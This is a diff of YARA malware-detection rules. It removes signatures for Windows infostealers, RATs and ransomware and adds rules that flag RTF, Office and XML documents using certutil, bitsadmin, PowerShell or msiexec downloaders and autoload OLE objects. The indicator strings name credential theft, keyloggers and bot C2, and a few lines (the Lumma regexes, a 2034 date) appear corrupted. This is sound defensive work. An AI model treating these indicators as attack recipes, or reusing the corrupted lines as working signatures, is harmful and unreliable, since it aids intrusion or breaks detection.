-		$x2 = "://satoshidisk.com/pay/" ascii
-		$s1 = "main.encrypt_file" fullword ascii
-		$s2 = "/path/to/be/encrypted" ascii
-		$s3 = "Restore-My-Files.txt" ascii
-		$s4 = ".buhti390625" ascii
+		$ex1 = "457863656c2e53686565744d6163726f456e61626c65642e" ascii nocase
+		$ex2 = "0002083200000000c000000000000046" ascii nocase
+		$ex3 = "Excel.SheetMacroEnabled." ascii
+		$ole1 = { d0 cf 11 e0 a1 b1 1a e1 }
+		$ole2 = "d0cf11e0a1b11ae1" ascii nocase
+		$ole3 = "64306366313165306131623131616531" ascii
+		$ole4 = "640a300a630a660a310a310a650a300a610a310a620a310a310a610a650a31"
+		$obj1 = "\\objhtml" ascii
+		$obj2 = "\\objdata" ascii
+		$obj3 = "\\objupdate" ascii
+		$obj4 = "\\objemb" ascii
+		$obj5 = "\\objautlink" ascii
+		$obj6 = "\\objlink" ascii
+		$obj7 = "\\mmath" ascii
 
 	condition:
-		uint16(0)==0x457f and ( all of ($x*) or (1 of ($x*) and 3 of ($s*)) or 5 of them )
+		uint32(0)==0x74725c7b and (1 of ($ex*) and 1 of ($ole*) and 2 of ($obj*))
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Commonmagic : FILE
+rule DITEKSHEN_INDICATOR_OLE_Metadatacmd : FILE
 {
 	meta:
-		description = "Detects CommonMagic and Modules"
+		description = "Detects OLE documents with Windows command-line utilities commands (certutil, powershell, etc.) stored in the metadata (author, last modified by, etc.)."
 		author = "ditekSHen"
-		id = "cbebe334-9b66-5931-8f92-25d080f7fd6a"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "63b23630-b344-5fba-95f4-950d072beaff"
+		date = "2024-02-22"
+		modified = "2024-02-22"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9663-L9678"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L310-L329"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e94ba53f31f3effe12b1fbaca19fea59c0e12f742f6fc0af2a0a679bf4299cbe"
+		logic_hash = "0562d026a1ad4510310ebff5da154064f92afc7bf714973f7de362435476772c"
 		score = 75
 		quality = 75
 		tags = "FILE"
 
 	strings:
-		$p1 = "\\\\.\\pipe\\PipeMd" wide
-		$p2 = "\\\\.\\pipe\\PipeCrDtMd" wide
-		$p3 = "\\\\.\\pipe\\PipeDtMd" wide
-		$s1 = "graph.microsoft.com" fullword wide
-		$s2 = "CreateNamedPipe" ascii
-		$s3 = "\\CommonCommand\\" wide
-		$ua1 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36" wide
-		$ua2 = "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10136" wide
+		$cmd1 = { 00 1E 00 00 00 [1-4] 00 00 (63|43) (6D|4D) (64|44) (00|20) }
+		$cmd2 = { 00 1E 00 00 00 [1-4] 00 00 (6D|4D) (73|53) (68|48) (74|54) (61|41) (00|20) }
+		$cmd3 = { 00 1E 00 00 00 [1-4] 00 00 (77|57) (73|53) (63|43) (72|52) (69|49) (70|50) (74|54) (00|20) }
+		$cmd4 = { 00 1E 00 00 00 [1-4] 00 00 (63|42) (65|45) (72|52) (74|54) (75|55) (74|54) (69|49) (6C|4C) (00|20) }
+		$cmd5 = { 00 1E 00 00 00 [1-4] 00 00 (70|50) (6F|4F) (77|57) (65|45) (72|52) (73|43) (68|48) (65|45) (6C|4C) (6C|4C) (00|20) }
+		$cmd6 = { 00 1E 00 00 00 [1-4] 00 00 (6E|4E) (65|45) (74|54) 2E (77|57) (65|45) (62|42) (63|43) (6C|4C) (69|49) (65|45) (6E|4E) (74|54) (00|20) }
 
 	condition:
-		uint16(0)==0x5a4d and (2 of ($p*) and 1 of ($s*)) or (1 of ($ua*) and 1 of ($s*) and 1 of ($p*))
+		uint16(0)==0xcfd0 and any of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Greetingghoul : FILE
+rule DITEKSHEN_INDICATOR_RTF_Equation_Bitsadmin_Downloader : FILE
 {
 	meta:
-		description = "Detects GreetingGhoul Cryptocurrency Infostealer"
+		description = "Detects RTF documents that references both Microsoft Equation Editor and BITSAdmin. Common exploit + dropper behavior."
 		author = "ditekSHen"
-		id = "42791b26-1cda-5bf3-b955-9de2dda1d63b"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "e96a6f18-9a5e-58ca-829e-c82b444ad403"
+		date = "2024-02-22"
+		modified = "2024-02-22"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9680-L9697"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L403-L426"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5a2635066df031ba6e291c3ba14f9ed85bf3247c82c66eb1b3d3618fdebb47a6"
+		logic_hash = "39a07a0af243e929a6b3df48b6cf8a9d30bc8ef9e7deac494348945427b015e7"
 		score = 75
 		quality = 75
 		tags = "FILE"
+		snort2_sid = "910002-910003"
+		snort3_sid = "910001"
+		clamav_sig = "INDICATOR.RTF.EquationBITSAdminDownloader"
 
 	strings:
-		$s1 = "peer_list" fullword ascii
-		$s2 = "seed_hash" fullword ascii
-		$s3 = "pool_id" fullword ascii
-		$s4 = "%smutex=%s:%lu" ascii
-		$s5 = "miner.cfg" fullword ascii
-		$s6 = "{\"method\": \"%s\"%s}" ascii
-		$s7 = "/app/manager/%s" ascii
-		$s8 = "X-VNC-STATUS" fullword ascii
-		$s9 = "%s\\%lu.zip" fullword ascii
-		$s10 = "\\??\\%programdata%\\" wide
+		$eq = "0200000002CE020000000000C000000000000046" ascii nocase
+		$ba = "6269747361646d696e" ascii nocase
+		$obj1 = "\\objhtml" ascii
+		$obj2 = "\\objdata" ascii
+		$obj3 = "\\objupdate" ascii
+		$obj4 = "\\objemb" ascii
+		$obj5 = "\\objautlink" ascii
+		$obj6 = "\\objlink" ascii
+		$obj7 = "\\mmath" ascii
 
 	condition:
-		uint16(0)==0x5a4d and 6 of them
+		uint32(0)==0x74725c7b and (($eq and $ba) and 1 of ($obj*))
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Multi_Family_Infostealer : FILE
+rule DITEKSHEN_INDICATOR_RTF_Equation_Certutil_Downloader : FILE
 {
 	meta:
-		description = "Detects Prynt, WorldWind, DarkEye, Stealerium and ToxicEye / TelegramRAT infostealers"
+		description = "Detects RTF documents that references both Microsoft Equation Editor and CertUtil. Common exploit + dropper behavior."
 		author = "ditekSHen"
-		id = "960830ba-df0d-539d-be2a-7778229f79bd"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "a47f31f9-91fc-5009-8aff-2b9e334c3139"
+		date = "2024-02-22"
+		modified = "2024-02-22"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9699-L9721"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L428-L451"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0fdd1cdc4f2e5bee6c763e6e6b2e79d85285e44e2b5e3168a56d7d360252ee99"
+		logic_hash = "d6c62957ce40ed755a84bd9aa8900e4990c466097d6df55c539b289bf50fe94e"
 		score = 75
-		quality = 23
+		quality = 75
 		tags = "FILE"
+		snort2_sid = "910006-910007"
+		snort3_sid = "910003"
+		clamav_sig = "INDICATOR.RTF.EquationCertUtilDownloader"
 
 	strings:
-		$n1 = /Prynt|WorldWind|DarkEye(\s)?Stealer/ ascii wide
-		$n2 = "Stealerium" ascii wide
-		$x1 = "@FlatLineStealer" ascii wide
-		$x2 = "@CashOutGangTalk" ascii wide
-		$x3 = /\.Target\.(Passwords|Messengers|Browsers|VPN|Gaming)\./ ascii
-		$x4 = /\.Modules\.(Keylogger|Implant|Passwords|Messengers|Browsers|VPN|Gaming|Clipper)\./ ascii
-		$s1 = "Timeout /T 2 /Nobreak" fullword wide
-		$s2 = /---\s(AntiAnalysis|WebcamScreenshot|Keylogger|Clipper)/ wide
-		$s3 = "Downloading file: \"{file}\"" wide
-		$s4 = "/bot{0}/getUpdates?offset={1}" wide
-		$s5 = "send command to bot!" wide
-		$s6 = " *Keylogger " fullword wide
-		$s7 = "*Stealer" wide
-		$s8 = "Bot connected" wide
-		$s9 = "### {0} ### ({1})" wide
+		$eq = "0200000002CE020000000000C000000000000046" ascii nocase
+		$cu = "636572747574696c" ascii nocase
+		$obj1 = "\\objhtml" ascii
+		$obj2 = "\\objdata" ascii
+		$obj3 = "\\objupdate" ascii
+		$obj4 = "\\objemb" ascii
+		$obj5 = "\\objautlink" ascii
+		$obj6 = "\\objlink" ascii
+		$obj7 = "\\mmath" ascii
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint32(0)==0x74725c7b and (($eq and $cu) and 1 of ($obj*))
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Worldwind : FILE
+rule DITEKSHEN_INDICATOR_RTF_Equation_Powershell_Downloader : FILE
 {
 	meta:
-		description = "Detects WorldWind infostealer"
+		description = "Detects RTF documents that references both Microsoft Equation Editor and PowerShell. Common exploit + dropper behavior."
 		author = "ditekSHen"
-		id = "226f591a-dc06-54f5-96ae-d142f624ff71"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "5d1d65ef-e183-5a0d-a0fa-d0d5f09f21a1"
+		date = "2024-02-22"
+		modified = "2024-02-22"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9723-L9744"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L453-L476"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9bb04fad460193cd877ea7f2de9337f69aadda01aee6c79f0a23cdf564b1e6c8"
+		logic_hash = "0b8b9b7b40f8b4d659de9e025a65d5c6b64c6066bb618a3e7ed3c318f70befe5"
 		score = 75
 		quality = 75
 		tags = "FILE"
+		snort2_sid = "910004-910005"
+		snort3_sid = "910002"
+		clamav_sig = "INDICATOR.RTF.EquationPowerShellDownloader"
 
 	strings:
-		$c1 = /WorldWind(\s)?Stealer/ ascii wide
-		$x2 = "@FlatLineStealer" ascii wide
-		$x3 = "@CashOutGangTalk" ascii wide
-		$m1 = ".Passwords.Targets." ascii
-		$m2 = ".Modules.Keylogger" ascii
-		$m3 = ".Modules.Clipper" ascii
-		$m4 = ".Modules.Implant" ascii
-		$s1 = "--- Clipper" wide
-		$s2 = "Downloading file: \"{file}\"" wide
-		$s3 = "/bot{0}/getUpdates?offset={1}" wide
-		$s4 = "send command to bot!" wide
-		$s5 = " *Keylogger " fullword wide
-		$s6 = "*Stealer" wide
-		$s7 = "Bot connected" wide
+		$eq = "0200000002CE020000000000C000000000000046" ascii nocase
+		$ps = "706f7765727368656c6c" ascii nocase
+		$obj1 = "\\objhtml" ascii
+		$obj2 = "\\objdata" ascii
+		$obj3 = "\\objupdate" ascii
+		$obj4 = "\\objemb" ascii
+		$obj5 = "\\objautlink" ascii
+		$obj6 = "\\objlink" ascii
+		$obj7 = "\\mmath" ascii
 
 	condition:
-		uint16(0)==0x5a4d and 1 of ($c*) and (1 of ($x*) or 2 of ($m*) or 3 of ($s*))
+		uint32(0)==0x74725c7b and (($ps and $eq) and 1 of ($obj*))
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Prynt : FILE
+rule DITEKSHEN_INDICATOR_RTF_LNK_Shell_Explorer_Execution : FILE
 {
 	meta:
-		description = "Detects Prynt infostealer"
+		description = "detects RTF files with Shell.Explorer.1 OLE objects with embedded LNK files referencing an executable."
 		author = "ditekSHen"
-		id = "844fd100-b04e-5ff0-9fab-d45f48b55bcc"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "2cac4dd8-086a-5220-a658-94cedd9cf7c3"
+		date = "2024-02-22"
+		modified = "2024-02-22"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9746-L9767"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L478-L492"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "84f2b33285ab1d129a62940a02990639cc8f7c92d490d7257e6aed9170d1e34e"
+		logic_hash = "4c11a37425e260692e11dc8fca317611106245d1590081a7038036ad568702f8"
 		score = 75
 		quality = 75
 		tags = "FILE"
 
 	strings:
-		$c1 = /Prynt(\s)?Stealer/ ascii wide
-		$x2 = "@FlatLineStealer" ascii wide
-		$x3 = "@CashOutGangTalk" ascii wide
-		$m1 = ".Passwords.Targets." ascii
-		$m2 = ".Modules.Keylogger" ascii
-		$m3 = ".Modules.Clipper" ascii
-		$m4 = ".Modules.Implant" ascii
-		$s1 = "--- Clipper" wide
-		$s2 = "Downloading file: \"{file}\"" wide
-		$s3 = "/bot{0}/getUpdates?offset={1}" wide
-		$s4 = "send command to bot!" wide
-		$s5 = " *Keylogger " fullword wide
-		$s6 = "*Stealer" wide
-		$s7 = "Bot connected" wide
+		$clsid = "c32ab2eac130cf11a7eb0000c05bae0b" ascii nocase
+		$lnk_header = "4c00000001140200" ascii nocase
+		$http_url = "6800740074007000" ascii nocase
+		$file_url = "660069006c0065003a" ascii nocase
 
 	condition:
-		uint16(0)==0x5a4d and 1 of ($c*) and (1 of ($x*) or 2 of ($m*) or 3 of ($s*))
+		uint32(0)==0x74725c7b and filesize <1500KB and $clsid and $lnk_header and ($http_url or $file_url)
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Darkeye : FILE
+rule DITEKSHEN_INDICATOR_RTF_Forms_HTML_Execution : FILE
 {
 	meta:
-		description = "Detects DarkEye infostealer"
+		description = "detects RTF files with Forms.HTML:Image.1 or Forms.HTML:Submitbutton.1 OLE objects referencing file or HTTP URLs."
 		author = "ditekSHen"
-		id = "5296fe28-b54e-5d0f-aa2f-2050db585d82"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "26b21c94-9192-53be-808b-b553f87769e1"
+		date = "2024-02-22"
+		modified = "2024-02-22"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9769-L9788"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L494-L508"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5496dcbfe075a4030a446027765186e9dd1931561a29a481139281e1708ce87d"
+		logic_hash = "5e8a2072971c40d6fbc0e0265a9adfbe4faa04d0f3c6962fda443da33aa06906"
 		score = 75
 		quality = 75
 		tags = "FILE"
 
 	strings:
-		$c1 = /Prynt(\s)?Stealer/ ascii wide
-		$c2 = /WorldWind(\s)?Stealer/ ascii wide
-		$c3 = "ToxicEye" ascii wide
-		$x2 = "@FlatLineStealer" ascii wide
-		$x3 = "@CashOutGangTalk" ascii wide
-		$s1 = "--- Clipper" wide
-		$s2 = "Downloading file: \"{file}\"" wide
-		$s3 = "/bot{0}/getUpdates?offset={1}" wide
-		$s4 = "send command to bot!" wide
-		$s5 = " *Keylogger " fullword wide
-		$s6 = "*Stealer" wide
-		$s7 = "Bot connected" wide
+		$img_clsid = "12d11255c65ccf118d6700aa00bdce1d" ascii nocase
+		$sub_clsid = "10d11255c65ccf118d6700aa00bdce1d" ascii nocase
+		$http_url = "6800740074007000" ascii nocase
+		$file_url = "660069006c0065003a" ascii nocase
 
 	condition:
-		uint16(0)==0x5a4d and not any of ($c*) and ((1 of ($x*) and 2 of ($s*)) or (4 of ($s*)))
+		uint32(0)==0x74725c7b and filesize <1500KB and ($img_clsid or $sub_clsid) and ($http_url or $file_url)
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Invalidprinter : FILE
+rule DITEKSHEN_INDICATOR_PUB_MSIEXEC_Remote : FILE
 {
 	meta:
-		description = "Invalid Printer (in2al5d p3in4er) Loader"
+		description = "detects VB-enable Microsoft Publisher files utilizing Microsoft Installer to retrieve remote files and execute them"
 		author = "ditekSHen"
-		id = "9b0a59e1-8105-5687-83b2-fb96229f59f9"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "518db2bb-174b-54c4-b330-1e8a8e36265d"
+		date = "2024-02-22"
+		modified = "2024-02-22"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9790-L9800"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L510-L524"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d14d53b2a73952244641f4e68a3dd5af8cb1e2bfc5936f300f9347b4881ceeb8"
+		logic_hash = "be5407e6e6e21e77f6de1d3a378996bfc6ce4326986aa03eb152e772bb495184"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.InvalidPrinter"
 
 	strings:
-		$s1 = "in2al5d p3in4er" fullword ascii
-		$s2 = "CreateDXGIFactory" fullword ascii
+		$s1 = "Microsoft Publisher" ascii
+		$s2 = "msiexec.exe" ascii
+		$s3 = "Document_Open" ascii
+		$s4 = "/norestart" ascii
+		$s5 = "/i http" ascii
+		$s6 = "Wscript.Shell" fullword ascii
+		$s7 = "\\VBE6.DLL#" wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <15000KB and all of them
+		uint16(0)==0xcfd0 and 6 of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Raccoonv2 : FILE
+rule DITEKSHEN_INDICATOR_RTF_Ancalog_Exploit_Builder_Document : FILE
 {
 	meta:
-		description = "Detects Raccoon Stealer 2.0, also referred to as RecordBreaker"
+		description = "Detects documents generated by Phantom Crypter/Ancalog"
 		author = "ditekSHen"
-		id = "2fc8313f-42f4-5b7e-8ae6-20455f736064"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "01e7f949-8ced-5355-978c-34d6e639e61a"
+		date = "2024-02-22"
+		modified = "2024-02-22"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9802-L9823"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L526-L538"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d47bb9051923147010452bcd6e7c370c2ff9ea9095bcb920b64f69873b15ec16"
+		logic_hash = "e458be78ca8975d067110dc38119437b3ffe55afdbfdab47468c9ed74bba9f9d"
 		score = 75
-		quality = 25
+		quality = 75
 		tags = "FILE"
+		snort2_sid = "910000-910001"
+		snort3_sid = "910000"
+		clamav_sig = "INDICATOR.RTF.AncalogExploitBuilderDocument"
 
 	strings:
-		$f1 = "sgnl_" fullword ascii
-		$f2 = "tlgrm_" fullword ascii
-		$f3 = "ews_" fullword ascii
-		$f4 = "grbr_" fullword ascii
-		$f5 = "dscrd_" fullword ascii
-		$f6 = "wlts_" fullword ascii
-		$f7 = "scrnsht_" fullword ascii
-		$f8 = "sstmnfo_" fullword ascii
-		$s1 = "machineId=" fullword ascii
-		$s2 = "&configId=" fullword ascii
-		$s3 = "URL:%s" fullword ascii
-		$s4 = "USR:%s" fullword ascii
-		$s5 = "PASS:%s" fullword ascii
-		$s6 = "Content-Type: application/x-object" fullword ascii
+		$builder1 = "{\\*\\ancalog" ascii
+		$builder2 = "\\ancalog" ascii
 
 	condition:
-		(( uint16(0)==0x5a4d and (4 of ($f*) or all of ($s*) or 7 of them )) or 10 of them )
+		uint32(0)==0x74725c7b and 1 of ($builder*)
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Truebot : FILE
+rule DITEKSHEN_INDICATOR_RTF_Threadkit_Exploit_Builder_Document : FILE
 {
 	meta:
-		description = "Detects TrueBot"
+		description = "Detects vaiations of RTF documents generated by ThreadKit builder."
 		author = "ditekSHen"
-		id = "7210a0bd-d310-55bf-bb0c-14cadb59bd67"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "f4a4e7f0-ea2f-523f-9634-a939dc90706e"
+		date = "2024-02-22"
+		modified = "2024-02-22"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9825-L9845"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L540-L557"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a92141ef0aa7d68b3594a0f56c0370498fe5751a472c9011ac8b92ae46e88e53"
+		logic_hash = "f2308ac6ae5345e0c783871dd6b471397ec83ba7194db5cc74c8984d84c2c0c2"
 		score = 75
 		quality = 75
 		tags = "FILE"
 
 	strings:
-		$s1 = "%s\\rundll32.exe" fullword wide
-		$s2 = "ChkdskExs" fullword wide
-		$s3 = "n=%s&o=%s&a=%d&u=%s&p=%s&d=%s" ascii
-		$s4 = "KLLS" fullword ascii
-		$s5 = "%s\\%08x-%08x.ps1" fullword ascii
-		$s6 = ".JSONIP" ascii
-		$s7 = "CreateProcessAsUserW res %d err %d" fullword ascii
-		$s8 = "ldr_sys64.dll" fullword ascii
-		$s9 = "SVCHOST" fullword ascii
-		$s10 = "WINLOGON" fullword ascii
-		$s11 = { 67 6f 6f 67 6c 65 2e 63 6f 6d 00 00 00 00 00 00
-                2f 00 63 00 20 00 64 00 65 00 6c 00 20 00 00 00
-                20 00 3e 00 3e 00 20 00 4e 00 55 00 4c 00 }
+		$obj1 = "\\objhtml" ascii
+		$obj2 = "\\objdata" ascii
+		$obj3 = "\\objupdate" ascii
+		$obj4 = "\\objemb" ascii
+		$obj5 = "\\objautlink" ascii
+		$obj6 = "\\objlink" ascii
+		$obj7 = "\\mmath" ascii
+		$pat1 = /\\objupdate\\v[\\\s\n\r]/ ascii
 
 	condition:
-		uint16(0)==0x5a4d and 6 of them
+		uint32(0)==0x74725c7b and 2 of ($obj*) and 1 of ($pat*)
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Lummastealer : FILE
+rule DITEKSHEN_INDICATOR_XML_Legacydrawing_Autoload_Document : FILE
 {
 	meta:
-		description = "Detects Lumma Stealer"
+		description = "detects AutoLoad documents using LegacyDrawing"
 		author = "ditekSHen"
-		id = "b54521ab-4a31-5c1c-8ef2-b08b0f713693"
-		date = "2034-02-17"
-		date = "2034-02-17"
-		modified = "2024-05-28"
+		id = "ce116601-7048-5a3f-9b73-5127ca3b359e"
+		date = "2024-02-22"
+		modified = "2024-02-22"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9847-L9872"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L559-L569"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "74014c5bcc85977b90faed93b348c34e47ee033b06c2f145348ca9c54c27bda5"
+		logic_hash = "a038636f5e8e7837c2209072f1659b921c8a9a48d4ed153e735915cf1f7f3fcc"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-		clamav1 = "MALWARE.Win.Trojan.LummaStealer"
 
 	strings:
-		$x1 = /Lum[0-9]{3}xedmaC2,\sBuild/ ascii
-		$x2 = /LID\(Lu[0-9]{3}xedmma\sID\):/ ascii
-		$s1 = /os_c[0-9]{3}xedrypt\.encry[0-9]{3}xedpted_key/ fullword ascii
-		$s2 = "c2sock" wide
-		$s3 = "c2conf" wide
-		$s4 = "TeslaBrowser/" wide
-		$s5 = "Software.txt" fullword wide
-		$s6 = "SysmonDrv" fullword
-		$s7 = "*.eml" fullword wide nocase
-		$s8 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" wide
-		$s9 = "- Screen Resoluton:" ascii
-		$s10 = "lid=%s" ascii
-		$s11 = "&ver=" ascii
-		$s12 = "769cb9aa22f4ccc412f9cbc81feedd" fullword wide
-		$s13 = "gapi-node.io" fullword ascii
+		$s1 = "<legacyDrawing r:id=\"" ascii
+		$s2 = "<oleObject progId=\"" ascii
+		$s3 = "autoLoad=\"true\"" ascii
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($x*) or (1 of ($x*) and 2 of ($s*)) or 5 of ($s*) or 7 of them )
+		uint32(0)==0x6d783f3c and all of ($s*)
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Xworm : FILE
+rule DITEKSHEN_INDICATOR_XML_OLE_Autoload_Document : FILE
 {
 	meta:
-		description = "Detects XWorm"
+		description = "detects AutoLoad documents using OLE Object"
 		author = "ditekSHen"
-		id = "bf9115a7-850a-5326-860c-a9a71bc7e50c"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "b3d682c3-641a-554a-8607-e99d07e9a57d"
+		date = "2024-02-22"
+		modified = "2024-02-22"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9874-L9900"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L571-L581"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5a86c2f0a188135e53d86c176806a208abbe3dd830bde364016859ffa5294bd7"
+		logic_hash = "b262a9f8e82dea55afc26acac731827b64f52069a2bf314f716832b3dfc2c04f"
 		score = 75
-		quality = 23
+		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.XWorm"
 
 	strings:
-		$x1 = "XWorm " wide nocase
-		$x2 = /XWorm\s(V|v)\d+\.\d+/ fullword wide
-		$s1 = "RunBotKiller" fullword wide
-		$s2 = "XKlog.txt" fullword wide
-		$s3 = /(shell|reg)fuc/ fullword wide
-		$s4 = "closeshell" fullword ascii
-		$s5 = { 62 00 79 00 70 00 73 00 73 00 00 ?? 63 00 61 00 6c 00 6c 00 75 00 61 00 63 00 00 ?? 73 00 63 00 }
-		$s6 = { 44 00 44 00 6f 00 73 00 54 00 00 ?? 43 00 69 00 6c 00 70 00 70 00 65 00 72 00 00 ?? 50 00 45 00 }
-		$s7 = { 69 00 6e 00 6a 00 52 00 75 00 6e 00 00 ?? 73 00 74 00 61 00 72 00 74 00 75 00 73 00 62 }
-		$s8 = { 48 6f 73 74 00 50 6f 72 74 00 75 70 6c 6f 61 64 65 72 00 6e 61 6d 65 65 65 00 4b 45 59 00 53 50 4c 00 4d 75 74 65 78 78 00 }
-		$v2_1 = "PING!" fullword wide
-		$v2_2 = "Urlhide" fullword wide
-		$v2_3 = /PC(Restart|Shutdown)/ fullword wide
-		$v2_4 = /(Start|Stop)(DDos|Report)/ fullword wide
-		$v2_5 = /Offline(Get|Keylogger)/ wide
-		$v2_6 = "injRun" fullword wide
-		$v2_7 = "Xchat" fullword wide
-		$v2_8 = "UACFunc" fullword ascii wide
+		$s1 = "autoLoad=\"true\"" ascii
+		$s2 = "/relationships/oleObject\"" ascii
+		$s3 = "Target=\"../embeddings/oleObject" ascii
 
 	condition:
-		uint16(0)==0x5a4d and ((1 of ($x*) and (3 of ($s*) or 3 of ($v2*))) or 6 of them )
+		uint32(0)==0x6d783f3c and all of ($s*)
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Clipbanker03 : FILE
+rule DITEKSHEN_INDICATOR_XML_Squiblydoo_1 : FILE
 {
 	meta:
-		description = "Detects ClipBanker"
+		description = "detects Squiblydoo variants extracted from exploit RTF documents."
 		author = "ditekSHen"
-		id = "57ba7d33-eba4-5bc1-9893-5441e439b900"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "cac326ab-cc31-59c1-bd12-285db1675695"
+		date = "2024-02-22"
+		modified = "2024-02-22"
 		reference = "https://github.com/ditekshen/detection"
